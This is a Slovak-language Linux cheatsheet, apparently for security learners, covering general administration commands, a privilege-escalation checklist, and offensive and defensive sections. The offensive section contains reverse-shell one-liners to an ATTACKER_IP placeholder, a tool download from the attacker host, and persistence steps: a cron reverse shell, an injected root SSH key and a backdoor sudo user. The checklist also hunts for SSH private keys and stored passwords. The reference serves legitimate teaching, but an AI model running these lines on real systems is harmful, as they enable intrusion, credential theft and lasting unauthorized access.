Linux – Cheatsheet

📋 Obsah

  1. Systémové informácie
  2. Navigácia & Súborový systém
    1. Práca so súbormi
    2. Čítanie súborov
  3. Hľadanie súborov & Textu
  4. Operátory shellu
    1. Príklady pipe
  5. Textové utility
  6. Oprávnenia
    1. Číselné (oktálne) hodnoty
    2. Čítanie výpisu ls -la
  7. Používatelia & Skupiny
  8. Sieť
  9. Sťahovanie & Prenos súborov
    1. wget
    2. curl
    3. scp – kopírovanie cez SSH
    4. Python HTTP server (rýchle zdieľanie)
  10. SSH
  11. Procesy
    1. Signály
    2. Job Control – Popredie & Pozadie
  12. Systemctl & Služby
  13. Cron & Automatizácia
    1. Formát záznamu
    2. Príklady
  14. Logy
  15. Textové editory
    1. nano (jednoduchý)
    2. vim (pokročilý)
  16. Inštalácia balíkov (apt)
  17. Archivovanie & Komprimácia
  18. Hashing & Kryptografia
  19. Privilege Escalation – Checklist
  20. Užitočné príkazy & Triky
    1. Shell Upgrade (po získaní shellu)
  21. Zaujímavé cesty
  22. Offensive – Príklady použitia
  23. Defensive – Príklady použitia


Linux – Cheatsheet

Systémové informácie

uname -a                                  # verzia kernelu, architektúra, hostname
uname -r                                  # iba verzia kernelu
cat /etc/os-release                       # distro, verzia OS
cat /etc/issue                            # verzia (stručne)
hostname                                  # názov stroja
hostname -I                               # IP adresy
uptime                                    # ako dlho beží systém
date                                      # aktuálny dátum a čas
lscpu                                     # info o CPU
lsmem                                     # info o RAM
df -h                                     # využitie diskov (human-readable)
du -sh /path/                             # veľkosť adresára
free -h                                   # využitie RAM / swap
lsblk                                     # zoznam blokových zariadení (disky, partície)
env                                       # všetky premenné prostredia
echo $SHELL                               # aktuálny shell
echo $PATH                                # cesty kde shell hľadá príkazy

pwd                                       # aktuálny adresár
ls                                        # zoznam súborov
ls -l                                     # detailný výpis (oprávnenia, veľkosť, dátum)
ls -la                                    # vrátane skrytých súborov (začínajú .)
ls -lh                                    # human-readable veľkosti
ls -lt                                    # zoradiť podľa dátumu modifikácie
cd /path/to/dir                           # zmeniť adresár
cd ..                                     # o úroveň vyššie
cd -                                      # prepnúť na predchádzajúci adresár
cd ~                                      # domovský adresár
tree                                      # vizuálna stromová štruktúra
tree -L 2                                 # maximálna hĺbka 2 úrovne

Práca so súbormi

touch file.txt                            # vytvor prázdny súbor / aktualizuj timestamp
mkdir folder                              # vytvor adresár
mkdir -p /path/to/nested/dir              # vytvor vrátane nadradených adresárov
cp file.txt /dest/                        # kopíruj súbor
cp -r dir/ /dest/                         # kopíruj adresár rekurzívne
mv file.txt /dest/                        # presuň súbor
mv old.txt new.txt                        # premenuj súbor
rm file.txt                               # zmaž súbor
rm -r dir/                                # zmaž adresár rekurzívne
rm -rf dir/                               # force, bez potvrdenia
ln -s /target /link                       # symbolický link
file unknown_file                         # zisti typ súboru
stat file.txt                             # detailné info (veľkosť, inode, časy)

Čítanie súborov

cat file.txt                              # vypíš celý obsah
less file.txt                             # stránkovanie (q = koniec, / = hľadaj)
more file.txt                             # stránkovanie (len dopredu)
head file.txt                             # prvých 10 riadkov
head -n 20 file.txt                       # prvých 20 riadkov
tail file.txt                             # posledných 10 riadkov
tail -n 20 file.txt                       # posledných 20 riadkov
tail -f /var/log/syslog                   # sleduj log naživo
wc -l file.txt                            # počet riadkov
wc -w file.txt                            # počet slov

Hľadanie súborov & Textu

# find – hľadanie súborov
find / -name "flag.txt" 2>/dev/null               # hľadaj podľa názvu (root)
find . -name "*.conf"                              # v aktuálnom adresári, wildcard
find / -type f -name "*.sh" 2>/dev/null            # len súbory
find / -type d -name "secret" 2>/dev/null          # len adresáre
find / -perm -u=s -type f 2>/dev/null              # SUID súbory
find / -writable -type f 2>/dev/null               # zapisovateľné súbory
find / -mtime -1 2>/dev/null                       # modifikované za posledných 24h
find / -size +10M 2>/dev/null                      # väčšie ako 10MB
find / -user root -type f 2>/dev/null              # vlastník root
find / -name "*.txt" -exec cat {} \;               # nájdi a spusti príkaz na každom

# locate – rýchle hľadanie (z databázy, nie live)
locate filename
updatedb                                           # aktualizuj databázu

# which / whereis – kde je binary
which python3
whereis python3                                    # binárka, manuál, zdroj

# grep – hľadanie textu
grep "text" file.txt                               # hľadaj v súbore
grep -i "text" file.txt                            # case-insensitive
grep -r "text" /dir/                               # rekurzívne v adresári
grep -r "password" /etc/ 2>/dev/null               # hľadaj heslo v /etc/
grep -l "text" *.txt                               # len názvy súborov kde sa nachádza
grep -n "text" file.txt                            # s číslami riadkov
grep -v "text" file.txt                            # inverzné – riadky BEZ textu
grep -E "regex" file.txt                           # extended regex
grep -o "pattern" file.txt                         # vypíš len zhodu, nie celý riadok

Operátory shellu

command1 ; command2                       # spusti oba (bez ohľadu na výsledok)
command1 && command2                      # spusti druhý len ak prvý uspeje (exit 0)
command1 || command2                      # spusti druhý len ak prvý zlyhá
command &                                 # spusti na pozadí
echo "text" > file.txt                    # presmeruj výstup do súboru (prepíše)
echo "text" >> file.txt                   # pridaj na koniec súboru (append)
command < file.txt                        # vstup zo súboru
command 2>/dev/null                       # zahoď chybové hlásenia
command 2>&1                              # presmeruj stderr do stdout
command | tee file.txt                    # výstup na obrazovku A do súboru
command1 | command2                       # pipe – výstup prvého = vstup druhého

Príklady pipe

ls -la | grep ".sh"                       # filtruj iba .sh súbory
ps aux | grep apache                      # hľadaj apache v procesoch
cat /etc/passwd | cut -d: -f1             # iba mená userov
cat file.txt | sort | uniq                # zoradiť a odstrániť duplikáty
cat file.txt | sort | uniq -c            # počítaj výskyty každého riadku
netstat -tulnp | grep LISTEN              # iba listening porty

Textové utility

sort file.txt                             # zoradiť riadky abecedne
sort -r file.txt                          # zostupne
sort -n file.txt                          # numericky
sort -k2 file.txt                         # podľa 2. stĺpca
uniq file.txt                             # odstrániť duplikáty (súbor musí byť sorted)
uniq -c file.txt                          # pridaj počet výskytov
cut -d: -f1 /etc/passwd                   # rozrez podľa : a vezmi 1. stĺpec
cut -d, -f2,4 file.csv                    # z CSV ber 2. a 4. stĺpec
awk '{print $1}' file.txt                 # vypíš 1. slovo každého riadku
awk -F: '{print $1, $3}' /etc/passwd      # user a UID z passwd
sed 's/old/new/g' file.txt                # nahraď "old" za "new" (všetky výskyty)
sed -i 's/old/new/g' file.txt             # priamo v súbore (in-place)
sed -n '5,10p' file.txt                   # vypíš riadky 5-10
tr 'a-z' 'A-Z' < file.txt                # konvertuj na veľké písmená
tr -d '\r' < file.txt                     # odstrániť Windows \r (CRLF → LF)
diff file1.txt file2.txt                  # porovnaj súbory

Oprávnenia

Číselné (oktálne) hodnoty

rwx = 7    rw- = 6    r-x = 5    r-- = 4    -wx = 3    -w- = 2    --x = 1    --- = 0
chmod +x file                             # pridaj execute pre všetkých
chmod -x file                             # odober execute
chmod 755 file                            # rwxr-xr-x (owner: rwx, group: r-x, other: r-x)
chmod 644 file                            # rw-r--r-- (typické pre súbory)
chmod 600 file                            # rw------- (súkromné, napr. SSH kľúče)
chmod 777 file                            # rwxrwxrwx (nebezpečné!)
chmod -R 755 dir/                         # rekurzívne na celý adresár
chown user file                           # zmeň vlastníka
chown user:group file                     # zmeň vlastníka aj skupinu
chown -R user:group dir/                  # rekurzívne
ls -la                                    # zobraz oprávnenia

# Špeciálne bity
chmod u+s file                            # nastav SUID bit
chmod g+s dir                             # nastav SGID bit
chmod +t dir                              # nastav Sticky bit (napr. /tmp)

Čítanie výpisu ls -la

-rwxr-xr-x  1  root  root  12345  Jan 1  file
│└─┤└─┤└─┤  │   │     │      │     │      │
│  │  │  │  │   │     │      │     │      └── názov
│  │  │  │  │   │     │      │     └───────── dátum
│  │  │  │  │   │     │      └─────────────── veľkosť
│  │  │  │  │   │     └────────────────────── skupina
│  │  │  │  │   └──────────────────────────── vlastník
│  │  │  │  └──────────────────────────────── počet hard linkov
│  │  │  └─────────────────────────────────── oprávnenia: others
│  │  └────────────────────────────────────── oprávnenia: group
│  └───────────────────────────────────────── oprávnenia: owner
└──────────────────────────────────────────── typ (- súbor, d adresár, l symlink)

Používatelia & Skupiny

whoami                                    # aktuálny používateľ
id                                        # UID, GID, všetky skupiny
id username                               # info o inom userovi
w                                         # kto je prihlásený a čo robí
who                                       # kto je prihlásený
last                                      # história prihlásení
lastlog                                   # posledné prihlásenie každého usera

# Prepínanie userov
su username                               # prepni na iného usera (potrebuje heslo)
su -                                      # prepni na root (login shell)
su -l username                            # prepni + načítaj jeho prostredie
sudo command                              # spusti príkaz ako root
sudo -l                                   # čo môžem spustiť cez sudo?
sudo -u user command                      # spusti ako konkrétny user
sudo su                                   # získaj root shell

# Správa userov (root)
useradd -m username                       # vytvor usera + domovský adresár
useradd -m -s /bin/bash -G sudo username  # s bashom a sudo skupinou
passwd username                           # nastav heslo
usermod -aG sudo username                 # pridaj do skupiny sudo
usermod -aG docker username               # pridaj do skupiny docker
userdel -r username                       # zmaž usera + domovský adresár
groupadd groupname                        # vytvor skupinu
groupdel groupname                        # zmaž skupinu

# Dôležité súbory
cat /etc/passwd                           # zoznam userov (user:x:UID:GID:info:home:shell)
cat /etc/shadow                           # hashe hesiel (iba root)
cat /etc/group                            # zoznam skupín
cat /etc/sudoers                          # sudo konfigurácia

Sieť

# IP & rozhrania
ip a                                      # všetky sieťové rozhrania a IP
ip r                                      # routing tabuľka
ip link show                              # sieťové rozhrania (len)
ifconfig                                  # starší príkaz (net-tools)

# Spojenia & porty
ss -tulnp                                 # otvorené porty (moderné, náhrada netstat)
ss -tulnp | grep LISTEN                   # iba listening porty
netstat -tulnp                            # staršia alternatíva
netstat -aon                              # všetky spojenia + PID

# DNS
nslookup domain.com                       # DNS lookup
dig domain.com                            # detailný DNS lookup
dig domain.com ANY                        # všetky záznamy
cat /etc/resolv.conf                      # nakonfigurované DNS servery
cat /etc/hosts                            # lokálne DNS záznamy

# Konektivita
ping -c 4 8.8.8.8                         # test dostupnosti (4 pakety)
traceroute 8.8.8.8                        # trasa paketu (hop-by-hop)
curl http://IP                            # HTTP GET request
curl -I http://IP                         # iba hlavičky (HEAD)
curl -X POST -d "data=value" http://IP    # POST request
curl -o file.zip http://IP/file.zip       # stiahni súbor
wget http://IP/file                       # stiahni súbor
wget -q -O - http://IP/file              # stiahni na stdout (tichý)

# ARP
arp -a                                    # ARP tabuľka (IP → MAC)

Sťahovanie & Prenos súborov

wget

wget http://IP/file                       # stiahni súbor
wget -O output.txt http://IP/file         # ulož pod iným názvom
wget -r http://IP/dir/                    # rekurzívne stiahnutie
wget -q http://IP/file                    # tichý režim (quiet)
wget --no-check-certificate https://IP/   # ignoruj SSL chyby

curl

curl -O http://IP/file                    # stiahni súbor (zachová názov)
curl -o output.txt http://IP/file         # stiahni pod iným názvom
curl -L http://IP/redirect               # nasleduj presmerowania
curl -s http://IP/file                    # tichý režim
curl -k https://IP/file                  # ignoruj SSL

scp – kopírovanie cez SSH

scp file.txt user@IP:/remote/path/        # nahrať lokálny súbor na vzdialený
scp user@IP:/remote/file.txt ./           # stiahnuť zo vzdialeného
scp -r dir/ user@IP:/path/                # nahrať celý adresár
scp -P 2222 file user@IP:/path/           # iný port
scp -i key.pem file user@IP:/path/        # s SSH kľúčom

Python HTTP server (rýchle zdieľanie)

python3 -m http.server 8000               # server v aktuálnom adresári, port 8000
python3 -m http.server 8080               # iný port

SSH

ssh user@IP                               # pripojenie
ssh user@IP -p 2222                       # iný port
ssh -i key.pem user@IP                    # s privátnym kľúčom
ssh -L 8080:localhost:80 user@IP          # local port forwarding
ssh -R 4444:localhost:4444 user@IP        # remote port forwarding
ssh -D 1080 user@IP                       # SOCKS proxy (dynamic forwarding)
ssh -N -f user@IP -L 8080:localhost:80    # background, bez príkazového riadku

# Kľúče
ssh-keygen -t rsa -b 4096                 # generuj RSA kľúč
ssh-copy-id user@IP                       # skopíruj verejný kľúč na server
cat ~/.ssh/authorized_keys                # autorizované kľúče
chmod 600 ~/.ssh/id_rsa                   # správne oprávnenia pre kľúč

Procesy

ps aux                                    # všetky bežiace procesy
ps aux | grep apache                      # filtrovanie procesov
ps -ef                                    # alternatívny formát (PPID viditeľný)
top                                       # interaktívny monitor (q = koniec)
htop                                      # vylepšený monitor (ak nainštalovaný)
pstree                                    # procesy v stromovej štruktúre
pgrep sshd                                # PID podľa mena procesu
pidof sshd                                # PID konkrétneho programu

# Ukončenie procesov
kill PID                                  # SIGTERM (15) – korektné ukončenie
kill -9 PID                               # SIGKILL – násilné ukončenie
kill -19 PID                              # SIGSTOP – pozastaviť
kill -18 PID                              # SIGCONT – pokračovať
killall apache2                           # ukončí všetky procesy tohto mena
pkill -f "python script.py"               # ukončí podľa vzoru

Signály

SignálČísloPopis
SIGTERM15Žiadosť o korektné ukončenie; proces môže upratať
SIGKILL9Okamžité zabitie jadrom; nedá sa blokovať
SIGSTOP19Pozastaví proces; pokračuje SIGCONT
SIGCONT18Pokračovanie pozastaveného procesu
SIGHUP1Reload konfigurácie (napr. nginx)

Job Control – Popredie & Pozadie

command &                                 # spusti rovno na pozadí
Ctrl+Z                                    # pozastaviť bežiaci proces
bg                                        # pokračovať pozastavený na pozadí
bg %2                                     # konkrétna úloha číslo 2
fg                                        # presunúť do popredia
fg %2                                     # konkrétna úloha
jobs                                      # zoznam úloh na pozadí
nohup command &                           # beží aj po odhlásení
disown %1                                 # odpojiť úlohu od terminálu

Systemctl & Služby

systemctl status service                  # stav služby
systemctl start service                   # spusti
systemctl stop service                    # zastav
systemctl restart service                 # reštartuj
systemctl reload service                  # reload konfig (bez reštartu)
systemctl enable service                  # spusti pri boote
systemctl disable service                 # neštartuj pri boote
systemctl is-active service               # je aktívna?
systemctl is-enabled service              # je povolená pri boote?
systemctl list-units --type=service       # všetky služby
systemctl list-units --type=service --state=running  # iba bežiace

journalctl -u service                     # logy konkrétnej služby
journalctl -u service -f                  # logy naživo (follow)
journalctl -u service --since "1 hour ago"
journalctl -xe                            # posledné logy s detailmi (po chybe)

Cron & Automatizácia

crontab -e                                # edituj crontab aktuálneho usera
crontab -l                                # zobraz crontab
crontab -r                                # zmaž crontab
crontab -u user -l                        # crontab iného usera (root)
cat /etc/crontab                          # systémový crontab
ls /etc/cron.d/                           # ďalšie cron súbory
ls /etc/cron.daily/                       # denné joby
cat /var/spool/cron/crontabs/root         # root crontab (ak máš prístup)

Formát záznamu

* * * * *  príkaz
│ │ │ │ └─ deň v týždni  (0-7, 0 aj 7 = nedeľa)
│ │ │ └─── mesiac        (1-12)
│ │ └───── deň v mesiaci (1-31)
│ └─────── hodina        (0-23)
└───────── minúta        (0-59)

Príklady

* * * * *  /skript.sh          # každú minútu
*/5 * * * * /check.sh          # každých 5 minút
0 3 * * *  /backup.sh          # každý deň o 3:00
0 9 * * 1  /report.sh          # každý pondelok o 9:00
0 0 1 * *  /monthly.sh         # prvý deň každého mesiaca o polnoci
@reboot    /startup.sh         # pri každom boote

Logy

/var/log/syslog                           # hlavný systémový log (Debian/Ubuntu)
/var/log/messages                         # hlavný systémový log (RHEL/CentOS)
/var/log/auth.log                         # autentifikácia, SSH, sudo
/var/log/secure                           # auth log (RHEL/CentOS)
/var/log/kern.log                         # kernel správy
/var/log/dmesg                            # boot správy (kernel ring buffer)
/var/log/apache2/access.log               # Apache prístupy
/var/log/apache2/error.log                # Apache chyby
/var/log/nginx/access.log                 # Nginx prístupy
/var/log/nginx/error.log                  # Nginx chyby
/var/log/mysql/error.log                  # MySQL chyby
/var/log/cron.log                         # cron joby (ak povolené)
/var/log/wtmp                             # história prihlásení (last)
/var/log/btmp                             # neúspešné prihlásenia (lastb)
/var/log/faillog                          # počet neúspešných pokusov

# Čítanie logov
tail -f /var/log/auth.log                 # sleduj log naživo
grep "Failed" /var/log/auth.log           # neúspešné prihlásenia
grep "Accepted" /var/log/auth.log         # úspešné SSH prihlásenia
zcat /var/log/syslog.2.gz | grep error    # v komprimovanom logu

Textové editory

nano (jednoduchý)

Ctrl+O        uložiť (Write Out)
Ctrl+X        ukončiť
Ctrl+W        hľadať
Ctrl+K        vystrihni riadok
Ctrl+U        vlož riadok
Ctrl+G        nápoveda

vim (pokročilý)

i             vstúp do INSERT módu
Esc           vráť sa do NORMAL módu
:w            uložiť
:q            ukončiť
:wq           uložiť a ukončiť
:q!           ukončiť bez uloženia
:set nu       zobraziť čísla riadkov
/text         hľadaj "text" (n = ďalší výskyt)
dd            zmaž riadok
yy            kopíruj riadok
p             vlož
u             undo
gg            choď na začiatok
G             choď na koniec
:%s/old/new/g nahraď všetky výskyty

Inštalácia balíkov (apt)

apt update                                # aktualizuj zoznamy balíkov
apt upgrade                               # aktualizuj nainštalované balíky
apt install package                       # nainštaluj balík
apt install -y package                    # bez potvrdenia
apt remove package                        # odinštaluj (konfig zostane)
apt purge package                         # odinštaluj + zmaž konfig
apt autoremove                            # odstrániť nepotrebné závislosti
apt search keyword                        # hľadaj balík
apt show package                          # info o balíku
dpkg -l                                   # zoznam nainštalovaných balíkov
dpkg -l | grep package                    # hľadaj konkrétny
dpkg -i package.deb                       # nainštaluj .deb súbor

Archivovanie & Komprimácia

# tar
tar -czf archive.tar.gz dir/              # vytvor komprimovaný archív (gzip)
tar -cjf archive.tar.bz2 dir/             # vytvor archív (bzip2, lepšia kompresia)
tar -xzf archive.tar.gz                   # rozbaliť .tar.gz
tar -xzf archive.tar.gz -C /dest/         # rozbaliť do konkrétneho adresára
tar -tzf archive.tar.gz                   # zobraziť obsah bez rozbalenia
tar -xzf archive.tar.gz file.txt          # rozbaliť iba konkrétny súbor

# zip / unzip
zip archive.zip file1 file2               # vytvor zip
zip -r archive.zip dir/                   # rekurzívne
unzip archive.zip                         # rozbaliť
unzip -l archive.zip                      # zoznam obsahu
unzip archive.zip -d /dest/               # rozbaliť do cieľa

# gzip / gunzip
gzip file.txt                             # komprimuj (nahradí file.txt za file.txt.gz)
gunzip file.txt.gz                        # dekomprimuj
gzip -d file.txt.gz                       # alternatíva gunzip

Hashing & Kryptografia

md5sum file                               # MD5 hash
sha1sum file                              # SHA1 hash
sha256sum file                            # SHA256 hash
sha256sum file > hash.txt                 # ulož hash do súboru
sha256sum -c hash.txt                     # over hash zo súboru
echo -n "text" | md5sum                   # hash reťazca (bez newline)
openssl passwd -6 "heslo"                 # SHA-512 crypt hash (pre /etc/passwd)
openssl rand -hex 32                      # generuj náhodný reťazec

Privilege Escalation – Checklist

sudo -l                                               # sudo práva
find / -perm -u=s -type f 2>/dev/null                 # SUID bity
getcap -r / 2>/dev/null                               # capabilities
cat /etc/crontab && ls /etc/cron*                     # cron joby
cat /etc/exports                                      # NFS no_root_squash
uname -a && cat /etc/os-release                       # kernel exploity
cat /etc/passwd | grep -v nologin                     # useri
ls -la /home/*/                                       # home adresáre
ss -tulnp                                             # lokálne porty
find / -writable -user root -type f 2>/dev/null       # writable root files
echo $PATH                                            # PATH hijacking
cat ~/.bash_history                                   # história príkazov
find / -name "*.conf" 2>/dev/null | xargs grep -il "password" 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null                         # SSH private key
find / -name "id_rsa" 2>/dev/null

Užitočné príkazy & Triky

history                                   # história príkazov
history | grep ssh                        # filtrovanie histórie
Ctrl+R                                    # hľadanie v histórii (reverse search)
!!                                        # zopakuj posledný príkaz
!$                                        # posledný argument predchádzajúceho príkazu
sudo !!                                   # spusti posledný príkaz ako sudo
which python python3 perl ruby            # kde sú interpretery
xargs                                     # zostroj argumenty z vstupu
  find . -name "*.log" | xargs rm         # zmaž všetky .log súbory
  cat ips.txt | xargs -I {} ping -c 1 {}  # ping každej IP
watch -n 2 "netstat -tulnp"               # opakovaj príkaz každé 2 sekundy
screen                                    # terminálový multiplexer (perzistentné sessions)
tmux                                      # moderná alternatíva screen
alias ll='ls -la'                         # vytvor alias (dočasný)
echo 'alias ll="ls -la"' >> ~/.bashrc     # trvalý alias
source ~/.bashrc                          # načítaj konfig bez reštartu terminálu

Shell Upgrade (po získaní shellu)

python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'; Ctrl+Z; stty raw -echo; fg; reset
export TERM=xterm
export SHELL=bash
stty rows 40 columns 160

Zaujímavé cesty

/etc/passwd                    # useri
/etc/shadow                    # hashe hesiel (root only)
/etc/sudoers                   # sudo konfigurácia
/etc/hosts                     # lokálne DNS záznamy
/etc/crontab                   # systémový cron
/etc/ssh/sshd_config           # SSH daemon konfigurácia
/root/.ssh/id_rsa              # root SSH kľúč
/home/*/.ssh/id_rsa            # SSH kľúče userov
/home/*/.bash_history          # história príkazov
/var/www/html/                 # Apache web root
/var/www/html/wp-config.php    # WordPress DB credentials
/opt/                          # dodatočný softvér
/tmp/                          # zapisovateľné, spustiteľné
/dev/shm/                      # RAM disk, zapisovateľné

Offensive – Príklady použitia

# Recon & Enumerácia
uname -a && cat /etc/os-release            # OS & kernel verzia
id && whoami && hostname                   # základné info
ip a && ip r                               # sieťová konfigurácia
ss -tulnp                                  # lokálne porty a služby
ps aux                                     # bežiace procesy
cat /etc/passwd | grep -v "nologin\|false" # useri so shellom
ls -la /home/                              # home adresáre userov
sudo -l                                    # sudo bez hesla?
find / -perm -u=s -type f 2>/dev/null      # SUID binárky → GTFOBins

# Hľadanie citlivých dát
cat ~/.bash_history
find / -name "*.txt" 2>/dev/null | xargs grep -il "password" 2>/dev/null
find / -name "wp-config.php" -o -name "config.php" 2>/dev/null
find / -name "id_rsa" 2>/dev/null
grep -r "password" /var/www/html/ 2>/dev/null
grep -r "DB_PASSWORD\|db_pass" /var/www/ 2>/dev/null

# Prenos nástrojov na cieľ
# (na útočníkovom stroji)
python3 -m http.server 8000
# (na cieli)
wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh | tee /tmp/lp_out.txt

# Reverse shell one-linery
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

# Netcat listener (na útočníkovom stroji)
nc -lvnp 4444

# Persistence
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /etc/crontab
echo "ssh-rsa AAAA...pubkey..." >> /root/.ssh/authorized_keys
useradd -m -s /bin/bash -G sudo hacker && echo "hacker:Pass1" | chpasswd

Defensive – Príklady použitia

# Monitoring & Incident Response
last -20                                  # posledných 20 prihlásení
lastb -20                                 # posledných 20 neúspešných pokusov
w                                         # kto je práve prihlásený
ps aux --sort=-%cpu | head -20            # procesy žerúce CPU
ss -tulnp                                 # otvorené porty
netstat -aon | grep ESTABLISHED           # aktívne spojenia

# Detekcia podozrivých aktivít
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn
                                          # brute-force útok → top IPs
grep "Accepted publickey\|Accepted password" /var/log/auth.log
                                          # úspešné prihlásenia
grep "sudo" /var/log/auth.log | grep -v "session"
                                          # sudo použitie

# Kontrola persistence
cat /etc/crontab && crontab -l
ls -la /etc/cron*
cat /etc/rc.local
systemctl list-units --type=service --state=enabled
cat /etc/ssh/sshd_config | grep -v "^#\|^$"  # SSH konfigurácia

# Audit SUID (čo by tam nemalo byť)
find / -perm -u=s -type f 2>/dev/null | grep -v "^/usr/bin\|^/bin\|^/sbin"

# Hashing – overenie integrity súborov
find /etc /bin /usr/bin -type f -exec sha256sum {} \; > /tmp/baseline_hashes.txt
# po čase:
find /etc /bin /usr/bin -type f -exec sha256sum {} \; | diff /tmp/baseline_hashes.txt -

# Firewall (UFW)
ufw status                                # stav firewallu
ufw enable                                # zapni firewall
ufw allow 22/tcp                          # povol SSH
ufw deny from ATTACKER_IP                 # zablokuj IP
ufw delete allow 22/tcp                   # zruš pravidlo

# Izolácia pri incidente
ip link set eth0 down                     # odpoj sieť
iptables -A INPUT -s ATTACKER_IP -j DROP  # zablokuj konkrétnu IP

# Zhromažďovanie dôkazov
dd if=/dev/sda of=/mnt/usb/disk.img bs=4M status=progress  # kópia disku
tar -czf /mnt/usb/logs.tar.gz /var/log/   # záloha logov

TheOldOne · Miroslav Gensor ·